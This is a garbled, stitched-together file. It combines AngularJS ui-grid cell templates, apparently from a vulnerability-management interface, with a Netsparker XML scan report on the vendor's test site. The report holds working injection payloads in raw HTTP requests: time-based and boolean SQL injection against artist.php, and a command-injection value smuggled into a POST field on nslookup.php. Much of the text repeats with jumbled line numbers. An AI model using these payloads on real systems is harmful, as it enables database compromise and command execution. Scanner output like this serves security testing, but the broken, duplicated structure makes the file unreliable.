0 <div ng-if="row.entity._id != undefined"><div ng-if="!col.grouping || col.grouping.groupPriority === undefined || col.grouping.groupPriority === null || ( row.groupHeader && col.grouping.groupPriority === row.treeLevel )" class="ui-grid-cell-contents white-space" uib-tooltip="{{COL_FIELD}}"><a href='{{grid.appScope.hash}}/search/{{col.name}}={{grid.appScope.encodeUrl(row.entity[col.name])}}'>{{COL_FIELD CUSTOM_FILTERS}}</a></div></div><div ng-if="row.groupHeader && col.grouping.groupPriority !== undefined" class="ui-grid-cell-contents white-space">{{COL_FIELD.split("(")[0] !== " " ? COL_FIELD : "EMPTY" + COL_FIELD}}</div>
0 <div ng-if="row.entity._id != undefined"><div ng-if="!col.grouping || col.grouping.groupPriority === undefined || col.grouping.groupPriority === null || ( row.groupHeader && col.grouping.groupPriority === row.treeLevel )" class="ui-grid-cell-contents white-space" uib-tooltip="{{COL_FIELD}}"><a href='{{grid.appScope.hash}}/search/{{col.name}}={{grid.appScope.encodeUrl(row.entity[col.name])}}' append-search-param="{{col.name}}={{grid.appScope.encodeUrl(row.entity[col.name])}}">{{COL_FIELD CUSTOM_FILTERS}}</a></div></div><div ng-if="row.groupHeader && col.grouping.groupPriority !== undefined" class="ui-grid-cell-contents white-space">{{COL_FIELD.split("(")[0] !== " " ? COL_FIELD : "EMPTY" + COL_FIELD}}</div>
00 <div ng-if="row.entity._id != undefined">
11 <div class="ui-grid-cell-contents center" uib-tooltip="{{grid.appScope.concatForTooltip(COL_FIELD, true) | decodeURIComponent}}">
2 <span ng-repeat="hostname in COL_FIELD"><a href="{{grid.appScope.hash}}/search/hostnames={{hostname}}">{{hostname}}</a>&nbsp;</span>
2 <span ng-repeat="hostname in COL_FIELD"><a href="{{grid.appScope.hash}}/search/hostnames={{hostname}}" append-search-param="hostnames={{hostname}}">{{hostname}}</a>&nbsp;</span>
33 </div>
44 </div>
55 <div ng-if="row.groupHeader && col.grouping.groupPriority !== undefined" class="ui-grid-cell-contents white-space">{{COL_FIELD.split('(')[0] !== ' ' ? COL_FIELD : 'EMPTY' + COL_FIELD}}</div>
0 <div ng-if='row.entity._id != undefined' class='ui-grid-cell-contents row-tooltip'><a ng-href="{{grid.appScope.hash}}/search/host_os={{row.entity.host_os}}">{{COL_FIELD CUSTOM_FILTERS}}</a></div><div ng-if="row.groupHeader && col.grouping.groupPriority !== undefined" class="ui-grid-cell-contents white-space">{{COL_FIELD CUSTOM_FILTERS}}</div>
0 <div ng-if='row.entity._id != undefined' class='ui-grid-cell-contents row-tooltip'><a ng-href="{{grid.appScope.hash}}/search/host_os={{row.entity.host_os}}" append-search-param="host_os={{row.entity.host_os}}">{{COL_FIELD CUSTOM_FILTERS}}</a></div><div ng-if="row.groupHeader && col.grouping.groupPriority !== undefined" class="ui-grid-cell-contents white-space">{{COL_FIELD CUSTOM_FILTERS}}</div>
00 <div ng-if="row.entity._id != undefined">
1 <div ng-if="!col.grouping || col.grouping.groupPriority === undefined || col.grouping.groupPriority === null || ( row.groupHeader && col.grouping.groupPriority === row.treeLevel )" class="ui-grid-cell-contents white-space"><a ng-href="{{grid.appScope.hash}}/search/name={{grid.appScope.encodeUrl(row.entity.name)}}">{{COL_FIELD CUSTOM_FILTERS}}</a>
1 <div ng-if="!col.grouping || col.grouping.groupPriority === undefined || col.grouping.groupPriority === null || ( row.groupHeader && col.grouping.groupPriority === row.treeLevel )" class="ui-grid-cell-contents white-space"><a ng-href="{{grid.appScope.hash}}/search/name={{grid.appScope.encodeUrl(row.entity.name)}}" append-search-param="name={{grid.appScope.encodeUrl(row.entity.name)}}">{{COL_FIELD CUSTOM_FILTERS}}</a>
22 </div>
33 </div>
44 <div ng-if="row.groupHeader && col.grouping.groupPriority !== undefined" class="ui-grid-cell-contents white-space">{{COL_FIELD CUSTOM_FILTERS}}</div>
00 <div ng-if="row.entity._id != undefined">
11 <div class='ui-grid-cell-contents'>
2 <a href="{{grid.appScope.hash}}/search/service={{row.entity.service.name}}">{{COL_FIELD}}</a>
2 <a href="{{grid.appScope.hash}}/search/service={{row.entity.service.name}}" append-search-param="service={{row.entity.service.name}}">{{COL_FIELD}}</a>
33 </div>
44 </div>
55 <div ng-if='row.groupHeader && col.grouping.groupPriority !== undefined' class='ui-grid-cell-contents white-space'>{{COL_FIELD}}</div>
00 <div ng-if="row.entity._id != undefined">
11 <div ng-if="!col.grouping || col.grouping.groupPriority === undefined || col.grouping.groupPriority === null || ( row.groupHeader && col.grouping.groupPriority === row.treeLevel )" class="ui-grid-cell-contents ui-grid-text-center">
2 <a href="#/status/ws/{{grid.appScope.workspace}}/search/severity={{COL_FIELD}}\">
2 <a href="#/status/ws/{{grid.appScope.workspace}}/search/severity={{COL_FIELD}}\" append-search-param="severity={{COL_FIELD}}">
33 <span class="label vuln fondo-{{COL_FIELD}}">{{COL_FIELD | uppercase | limitTo:4}}
44 </span>
55 </a>
00 <div ng-if="row.entity._id != undefined" class="status-wrapper">
11 <div ng-if="!col.grouping || col.grouping.groupPriority === undefined || col.grouping.groupPriority === null || ( row.groupHeader && col.grouping.groupPriority === row.treeLevel )" class="ui-grid-cell-contents status {{COL_FIELD}}">
2 <a href="#/status/ws/{{grid.appScope.workspace}}/search/status={{COL_FIELD}}">
2 <a href="#/status/ws/{{grid.appScope.workspace}}/search/status={{COL_FIELD}}" append-search-param="status={{COL_FIELD}}">
33 <span >{{COL_FIELD | uppercase}}</span>
44 </a>
55 </div>
66 </div>
77 <div ng-if="row.groupHeader && col.grouping.groupPriority !== undefined" class="status-wrapper">
8 <a href="#/status/ws/{{grid.appScope.workspace}}/search/status={{COL_FIELD}}">
8 <a href="#/status/ws/{{grid.appScope.workspace}}/search/status={{COL_FIELD}}" append-search-param="status={{COL_FIELD}}">
99 <span >{{COL_FIELD | uppercase}}</span>
1010 </a>
1111 </div>
0 <div ng-if='row.entity._id != undefined' class='ui-grid-cell-contents row-tooltip'><a ng-href="{{grid.appScope.hash}}/search/target={{row.entity.target}}">{{COL_FIELD CUSTOM_FILTERS}}</a></div><div ng-if="row.groupHeader && col.grouping.groupPriority !== undefined" class="ui-grid-cell-contents white-space">{{COL_FIELD CUSTOM_FILTERS}}</div>
0 <div ng-if='row.entity._id != undefined' class='ui-grid-cell-contents row-tooltip'><a ng-href="{{grid.appScope.hash}}/search/target={{row.entity.target}}" append-search-param="target={{row.entity.target}}">{{COL_FIELD CUSTOM_FILTERS}}</a></div><div ng-if="row.groupHeader && col.grouping.groupPriority !== undefined" class="ui-grid-cell-contents white-space">{{COL_FIELD CUSTOM_FILTERS}}</div>
0 <?xml version="1.0" encoding="utf-8" ?>
1 <?xml-stylesheet href="vulnerabilities-list.xsl" type="text/xsl" ?>
2 <netsparker generated="29/11/2013 9:36:42 AM">
3 <target>
4 <url>http://php.testsparker.com/</url>
5 <scantime>385</scantime>
6 </target>
7 <vulnerability confirmed="True">
8 <url>http://php.testsparker.com/artist.php?id=(SELECT+1+FROM+(SELECT+SLEEP(25))A)</url>
9 <type>ConfirmedBlindSqlInjection</type>
10 <severity>Critical</severity>
11 <certainty>100</certainty>
12
13 <vulnerableparametertype>GET</vulnerableparametertype>
14 <vulnerableparameter>id</vulnerableparameter>
15 <vulnerableparametervalue>(SELECT 1 FROM (SELECT SLEEP(25))A)</vulnerableparametervalue>
16 <rawrequest><![CDATA[GET /artist.php?id=(SELECT+1+FROM+(SELECT+SLEEP(25))A) HTTP/1.1
17 Cache-Control: no-cache
18 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
19 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
20 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
21 X-Scanner: Netsparker
22 Accept-Language: en-us,en;q=0.5
23 Host: php.testsparker.com
24 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
25 Accept-Encoding: gzip, deflate
26
27 ]]></rawrequest>
28 <rawresponse><![CDATA[HTTP/1.1 200 OK
29 Date: Fri, 29 Nov 2013 11:27:17 GMT
30 Server: Apache/2.2.8 (Win32) PHP/5.2.6
31 X-Powered-By: PHP/5.2.6
32 Content-Length: 2794
33 Content-Type: text/html
34
35
36 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
37 <html xmlns="http://www.w3.org/1999/xhtml">
38 <head>
39 <meta name="keywords" content="" />
40 <meta name="description" content="" />
41 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
42 <title>Netsparker Test Web Site - PHP</title>
43 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
44 </head><link type="text/css" href="Generics/style.css" rel="stylesheet"/>
45 <body>
46 <div id="wrapper">
47
48 <div id="menu">
49 <ul>
50 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
51 <li><a href="hello.php?name=Visitor">Hello</a></li>
52 <li><a href="products.php?pro=url">Products</a></li>
53 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
54 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
55 <li><a href="auth/">Login</a></li>
56 </ul>
57 </div>
58 <!-- end #menu -->
59 <div id="header">
60
61 </div>
62 <!-- end #header --> <div id="page">
63 <div id="page-bgtop">
64 <div id="page-bgbtm">
65 <div id="content">
66 <div class="post">
67 <h2 class="title"><a href="artist.php#">Artist Service</a></h2>
68
69 <div style="clear: both;">&nbsp;</div>
70 <div class="entry">
71 <p>
72
73
74
0 <?xml version="1.0" encoding="utf-8" ?>
1 <?xml-stylesheet href="vulnerabilities-list.xsl" type="text/xsl" ?>
2 <netsparker generated="29/11/2013 9:36:42 AM">
3 <target>
4 <url>http://php.testsparker.com/</url>
5 <scantime>385</scantime>
6 </target>
7 <vulnerability confirmed="True">
8 <url>http://php.testsparker.com/artist.php?id=(SELECT+1+FROM+(SELECT+SLEEP(25))A)</url>
9 <type>ConfirmedBlindSqlInjection</type>
10 <severity>Critical</severity>
11 <certainty>100</certainty>
12
13 <vulnerableparametertype>GET</vulnerableparametertype>
14 <vulnerableparameter>id</vulnerableparameter>
15 <vulnerableparametervalue>(SELECT 1 FROM (SELECT SLEEP(25))A)</vulnerableparametervalue>
16 <rawrequest><![CDATA[GET /artist.php?id=(SELECT+1+FROM+(SELECT+SLEEP(25))A) HTTP/1.1
17 Cache-Control: no-cache
18 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
19 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
20 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
21 X-Scanner: Netsparker
22 Accept-Language: en-us,en;q=0.5
23 Host: php.testsparker.com
24 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
25 Accept-Encoding: gzip, deflate
26
27 ]]></rawrequest>
28 <rawresponse><![CDATA[HTTP/1.1 200 OK
29 Date: Fri, 29 Nov 2013 11:27:17 GMT
30 Server: Apache/2.2.8 (Win32) PHP/5.2.6
31 X-Powered-By: PHP/5.2.6
32 Content-Length: 2794
33 Content-Type: text/html
34
35
36 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
37 <html xmlns="http://www.w3.org/1999/xhtml">
38 <head>
39 <meta name="keywords" content="" />
40 <meta name="description" content="" />
41 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
42 <title>Netsparker Test Web Site - PHP</title>
43 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
44 </head><link type="text/css" href="Generics/style.css" rel="stylesheet"/>
45 <body>
46 <div id="wrapper">
47
48 <div id="menu">
49 <ul>
50 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
51 <li><a href="hello.php?name=Visitor">Hello</a></li>
52 <li><a href="products.php?pro=url">Products</a></li>
53 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
54 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
55 <li><a href="auth/">Login</a></li>
56 </ul>
57 </div>
58 <!-- end #menu -->
59 <div id="header">
60
61 </div>
62 <!-- end #header --> <div id="page">
63 <div id="page-bgtop">
64 <div id="page-bgbtm">
65 <div id="content">
66 <div class="post">
67 <h2 class="title"><a href="artist.php#">Artist Service</a></h2>
68
69 <div style="clear: both;">&nbsp;</div>
70 <div class="entry">
71 <p>
72
73
74
7575 no rows returned
76 </p>
77
78 </div>
79 </div>
80 <div style="clear: both;">&nbsp;</div>
81 </div>
82 <!-- end #content -->
83
84 <div id="sidebar">
85 <ul>
86 <li>
87 <div id="search" >
88 <form method="get" action="artist.php">
89 <div>
90 <input type="text" name="s" id="search-text" value="" />
91 <input type="submit" id="search-submit" value="GO" />
92 </div>
93 </form>
94
95 </div>
96 <div style="clear: both;">&nbsp;</div>
97 </li>
98 <li>
99 <h2>Tags</h2>
100 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
101 </li>
102 <li>
103 <h2>Inner Pages</h2>
104 <ul>
105 <li><a href="artist.php?id=test">Artist Search</a></li>
106 <li><a href="nslookup.php">Lookup Service</a></li>
107 </ul>
108 </li>
109 <li>
110 <h2>Links</h2>
111 <ul>
112 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
113 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
114 </ul>
115 </li>
116 </ul>
117 </div> <!-- end #sidebar -->
118 <div style="clear: both;">&nbsp;</div>
119 </div>
120 </div>
121 </div>
122 <!-- end #page -->
123 </div>
124
125 <div id="footer">
126 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
127 </div> <!-- end #footer -->
128 </body>
129 </html>
130 ]]></rawresponse>
131 <extrainformation>
132 </extrainformation>
133
134 <classification>
135 <OWASP>A1</OWASP>
136 <WASC>19</WASC>
137 <CWE>89</CWE>
138 <CAPEC>66</CAPEC>
139 <PCI>6.5.2</PCI>
140 <PCI2>6.5.1</PCI2>
141 </classification>
142
143 </vulnerability>
144 <vulnerability confirmed="True">
145 <url>http://php.testsparker.com/artist.php?id=-1+OR+17-7%3d10</url>
146 <type>ConfirmedBooleanSqlInjection</type>
147 <severity>Critical</severity>
148 <certainty>100</certainty>
149
150 <vulnerableparametertype>GET</vulnerableparametertype>
151 <vulnerableparameter>id</vulnerableparameter>
152 <vulnerableparametervalue>-1 OR 17-7=10</vulnerableparametervalue>
153 <rawrequest><![CDATA[GET /artist.php?id=-1+OR+17-7%3d10 HTTP/1.1
154 Cache-Control: no-cache
155 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
156 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
157 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
158 X-Scanner: Netsparker
159 Accept-Language: en-us,en;q=0.5
160 Host: php.testsparker.com
161 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
162 Accept-Encoding: gzip, deflate
163
164 ]]></rawrequest>
165 <rawresponse><![CDATA[HTTP/1.1 200 OK
166 Date: Fri, 29 Nov 2013 11:27:11 GMT
167 Transfer-Encoding: chunked
168 Server: Apache/2.2.8 (Win32) PHP/5.2.6
169 X-Powered-By: PHP/5.2.6
170 Content-Type: text/html
171
172
173 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
174 <html xmlns="http://www.w3.org/1999/xhtml">
175 <head>
176 <meta name="keywords" content="" />
177 <meta name="description" content="" />
178 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
179 <title>Netsparker Test Web Site - PHP</title>
180 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
181 </head><link type="text/css" href="Generics/style.css" rel="stylesheet"/>
182 <body>
183 <div id="wrapper">
184
185 <div id="menu">
186 <ul>
187 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
188 <li><a href="hello.php?name=Visitor">Hello</a></li>
189 <li><a href="products.php?pro=url">Products</a></li>
190 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
191 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
192 <li><a href="auth/">Login</a></li>
193 </ul>
194 </div>
195 <!-- end #menu -->
196 <div id="header">
197
198 </div>
199 <!-- end #header --> <div id="page">
200 <div id="page-bgtop">
201 <div id="page-bgbtm">
202 <div id="content">
203 <div class="post">
204 <h2 class="title"><a href="artist.php#">Artist Service</a></h2>
205
206 <div style="clear: both;">&nbsp;</div>
207 <div class="entry">
208 <p>
209
210
211
76 </p>
77
78 </div>
79 </div>
80 <div style="clear: both;">&nbsp;</div>
81 </div>
82 <!-- end #content -->
83
84 <div id="sidebar">
85 <ul>
86 <li>
87 <div id="search" >
88 <form method="get" action="artist.php">
89 <div>
90 <input type="text" name="s" id="search-text" value="" />
91 <input type="submit" id="search-submit" value="GO" />
92 </div>
93 </form>
94
95 </div>
96 <div style="clear: both;">&nbsp;</div>
97 </li>
98 <li>
99 <h2>Tags</h2>
100 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
101 </li>
102 <li>
103 <h2>Inner Pages</h2>
104 <ul>
105 <li><a href="artist.php?id=test">Artist Search</a></li>
106 <li><a href="nslookup.php">Lookup Service</a></li>
107 </ul>
108 </li>
109 <li>
110 <h2>Links</h2>
111 <ul>
112 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
113 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
114 </ul>
115 </li>
116 </ul>
117 </div> <!-- end #sidebar -->
118 <div style="clear: both;">&nbsp;</div>
119 </div>
120 </div>
121 </div>
122 <!-- end #page -->
123 </div>
124
125 <div id="footer">
126 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
127 </div> <!-- end #footer -->
128 </body>
129 </html>
130 ]]></rawresponse>
131 <extrainformation>
132 </extrainformation>
133
134 <classification>
135 <OWASP>A1</OWASP>
136 <WASC>19</WASC>
137 <CWE>89</CWE>
138 <CAPEC>66</CAPEC>
139 <PCI>6.5.2</PCI>
140 <PCI2>6.5.1</PCI2>
141 </classification>
142
143 </vulnerability>
144 <vulnerability confirmed="True">
145 <url>http://php.testsparker.com/artist.php?id=-1+OR+17-7%3d10</url>
146 <type>ConfirmedBooleanSqlInjection</type>
147 <severity>Critical</severity>
148 <certainty>100</certainty>
149
150 <vulnerableparametertype>GET</vulnerableparametertype>
151 <vulnerableparameter>id</vulnerableparameter>
152 <vulnerableparametervalue>-1 OR 17-7=10</vulnerableparametervalue>
153 <rawrequest><![CDATA[GET /artist.php?id=-1+OR+17-7%3d10 HTTP/1.1
154 Cache-Control: no-cache
155 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
156 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
157 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
158 X-Scanner: Netsparker
159 Accept-Language: en-us,en;q=0.5
160 Host: php.testsparker.com
161 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
162 Accept-Encoding: gzip, deflate
163
164 ]]></rawrequest>
165 <rawresponse><![CDATA[HTTP/1.1 200 OK
166 Date: Fri, 29 Nov 2013 11:27:11 GMT
167 Transfer-Encoding: chunked
168 Server: Apache/2.2.8 (Win32) PHP/5.2.6
169 X-Powered-By: PHP/5.2.6
170 Content-Type: text/html
171
172
173 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
174 <html xmlns="http://www.w3.org/1999/xhtml">
175 <head>
176 <meta name="keywords" content="" />
177 <meta name="description" content="" />
178 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
179 <title>Netsparker Test Web Site - PHP</title>
180 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
181 </head><link type="text/css" href="Generics/style.css" rel="stylesheet"/>
182 <body>
183 <div id="wrapper">
184
185 <div id="menu">
186 <ul>
187 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
188 <li><a href="hello.php?name=Visitor">Hello</a></li>
189 <li><a href="products.php?pro=url">Products</a></li>
190 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
191 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
192 <li><a href="auth/">Login</a></li>
193 </ul>
194 </div>
195 <!-- end #menu -->
196 <div id="header">
197
198 </div>
199 <!-- end #header --> <div id="page">
200 <div id="page-bgtop">
201 <div id="page-bgbtm">
202 <div id="content">
203 <div class="post">
204 <h2 class="title"><a href="artist.php#">Artist Service</a></h2>
205
206 <div style="clear: both;">&nbsp;</div>
207 <div class="entry">
208 <p>
209
210
211
212212 <table class="container"><thead><th>ID</th><th>Name</th><th>SURNAME</th><th>CREATION DATE </th></thead><tbody><tr class="odd">
213213 <td>2 </td>
214214 <td>NICK </td>
16721672 <td>2012-03-13 12:14:54 </td>
16731673 <td>22 </td>
16741674 </tr>
1675 </tbody></table> </p>
1676
1677 </div>
1678 </div>
1679 <div style="clear: both;">&nbsp;</div>
1680 </div>
1681 <!-- end #content -->
1682
1683 <div id="sidebar">
1684 <ul>
1685 <li>
1686 <div id="search" >
1687 <form method="get" action="artist.php">
1688 <div>
1689 <input type="text" name="s" id="search-text" value="" />
1690 <input type="submit" id="search-submit" value="GO" />
1691 </div>
1692 </form>
1693
1694 </div>
1695 <div style="clear: both;">&nbsp;</div>
1696 </li>
1697 <li>
1698 <h2>Tags</h2>
1699 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
1700 </li>
1701 <li>
1702 <h2>Inner Pages</h2>
1703 <ul>
1704 <li><a href="artist.php?id=test">Artist Search</a></li>
1705 <li><a href="nslookup.php">Lookup Service</a></li>
1706 </ul>
1707 </li>
1708 <li>
1709 <h2>Links</h2>
1710 <ul>
1711 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
1712 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
1713 </ul>
1714 </li>
1715 </ul>
1716 </div> <!-- end #sidebar -->
1717 <div style="clear: both;">&nbsp;</div>
1718 </div>
1719 </div>
1720 </div>
1721 <!-- end #page -->
1722 </div>
1723
1724 <div id="footer">
1725 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
1726 </div> <!-- end #footer -->
1727 </body>
1728 </html>
1729 ]]></rawresponse>
1730 <extrainformation>
1731 </extrainformation>
1732
1733 <classification>
1734 <OWASP>A1</OWASP>
1735 <WASC>19</WASC>
1736 <CWE>89</CWE>
1737 <CAPEC>66</CAPEC>
1738 <PCI>6.5.2</PCI>
1739 <PCI2>6.5.1</PCI2>
1740 </classification>
1741
1742 </vulnerability>
1743 <vulnerability confirmed="True">
1744 <url>http://php.testsparker.com/nslookup.php</url>
1745 <type>CommandInjection</type>
1746 <severity>Critical</severity>
1747 <certainty>100</certainty>
1748
1749 <vulnerableparametertype>POST</vulnerableparametertype>
1750 <vulnerableparameter>param</vulnerableparameter>
1751 <vulnerableparametervalue>&apos;&amp; SET /A 0xFFF9999-2 &amp;</vulnerableparametervalue>
1752 <rawrequest><![CDATA[POST /nslookup.php HTTP/1.1
1753 Cache-Control: no-cache
1754 Referer: http://php.testsparker.com/nslookup.php
1755 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
1756 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
1757 X-Scanner: Netsparker
1758 Accept-Language: en-us,en;q=0.5
1759 Host: php.testsparker.com
1760 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
1761 Accept-Encoding: gzip, deflate
1762 Content-Length: 37
1763 Content-Type: application/x-www-form-urlencoded
1764
1765 param=%27%26+SET+%2fA+0xFFF9999-2+%26]]></rawrequest>
1766 <rawresponse><![CDATA[HTTP/1.1 200 OK
1767 Date: Fri, 29 Nov 2013 11:28:37 GMT
1768 Server: Apache/2.2.8 (Win32) PHP/5.2.6
1769 X-Powered-By: PHP/5.2.6
1770 Content-Length: 3854
1771 Content-Type: text/html
1772
1773
1774 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1775 <html xmlns="http://www.w3.org/1999/xhtml">
1776 <head>
1777 <meta name="keywords" content="" />
1778 <meta name="description" content="" />
1779 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
1780 <title>Netsparker Test Web Site - PHP</title>
1781 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
1675 </tbody></table> </p>
1676
1677 </div>
1678 </div>
1679 <div style="clear: both;">&nbsp;</div>
1680 </div>
1681 <!-- end #content -->
1682
1683 <div id="sidebar">
1684 <ul>
1685 <li>
1686 <div id="search" >
1687 <form method="get" action="artist.php">
1688 <div>
1689 <input type="text" name="s" id="search-text" value="" />
1690 <input type="submit" id="search-submit" value="GO" />
1691 </div>
1692 </form>
1693
1694 </div>
1695 <div style="clear: both;">&nbsp;</div>
1696 </li>
1697 <li>
1698 <h2>Tags</h2>
1699 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
1700 </li>
1701 <li>
1702 <h2>Inner Pages</h2>
1703 <ul>
1704 <li><a href="artist.php?id=test">Artist Search</a></li>
1705 <li><a href="nslookup.php">Lookup Service</a></li>
1706 </ul>
1707 </li>
1708 <li>
1709 <h2>Links</h2>
1710 <ul>
1711 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
1712 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
1713 </ul>
1714 </li>
1715 </ul>
1716 </div> <!-- end #sidebar -->
1717 <div style="clear: both;">&nbsp;</div>
1718 </div>
1719 </div>
1720 </div>
1721 <!-- end #page -->
1722 </div>
1723
1724 <div id="footer">
1725 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
1726 </div> <!-- end #footer -->
1727 </body>
1728 </html>
1729 ]]></rawresponse>
1730 <extrainformation>
1731 </extrainformation>
1732
1733 <classification>
1734 <OWASP>A1</OWASP>
1735 <WASC>19</WASC>
1736 <CWE>89</CWE>
1737 <CAPEC>66</CAPEC>
1738 <PCI>6.5.2</PCI>
1739 <PCI2>6.5.1</PCI2>
1740 </classification>
1741
1742 </vulnerability>
1743 <vulnerability confirmed="True">
1744 <url>http://php.testsparker.com/nslookup.php</url>
1745 <type>CommandInjection</type>
1746 <severity>Critical</severity>
1747 <certainty>100</certainty>
1748
1749 <vulnerableparametertype>POST</vulnerableparametertype>
1750 <vulnerableparameter>param</vulnerableparameter>
1751 <vulnerableparametervalue>&apos;&amp; SET /A 0xFFF9999-2 &amp;</vulnerableparametervalue>
1752 <rawrequest><![CDATA[POST /nslookup.php HTTP/1.1
1753 Cache-Control: no-cache
1754 Referer: http://php.testsparker.com/nslookup.php
1755 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
1756 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
1757 X-Scanner: Netsparker
1758 Accept-Language: en-us,en;q=0.5
1759 Host: php.testsparker.com
1760 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
1761 Accept-Encoding: gzip, deflate
1762 Content-Length: 37
1763 Content-Type: application/x-www-form-urlencoded
1764
1765 param=%27%26+SET+%2fA+0xFFF9999-2+%26]]></rawrequest>
1766 <rawresponse><![CDATA[HTTP/1.1 200 OK
1767 Date: Fri, 29 Nov 2013 11:28:37 GMT
1768 Server: Apache/2.2.8 (Win32) PHP/5.2.6
1769 X-Powered-By: PHP/5.2.6
1770 Content-Length: 3854
1771 Content-Type: text/html
1772
1773
1774 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1775 <html xmlns="http://www.w3.org/1999/xhtml">
1776 <head>
1777 <meta name="keywords" content="" />
1778 <meta name="description" content="" />
1779 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
1780 <title>Netsparker Test Web Site - PHP</title>
1781 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
17821782 </head><script type=text/javascript src = "" ></script>
17831783 <body>
17841784 <div id="wrapper">
1785
1786 <div id="menu">
1787 <ul>
1788 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
1789 <li><a href="hello.php?name=Visitor">Hello</a></li>
1790 <li><a href="products.php?pro=url">Products</a></li>
1791 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
1792 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
1793 <li><a href="auth/">Login</a></li>
1794 </ul>
1795 </div>
1796 <!-- end #menu -->
1797 <div id="header">
1798
1799 </div>
1785
1786 <div id="menu">
1787 <ul>
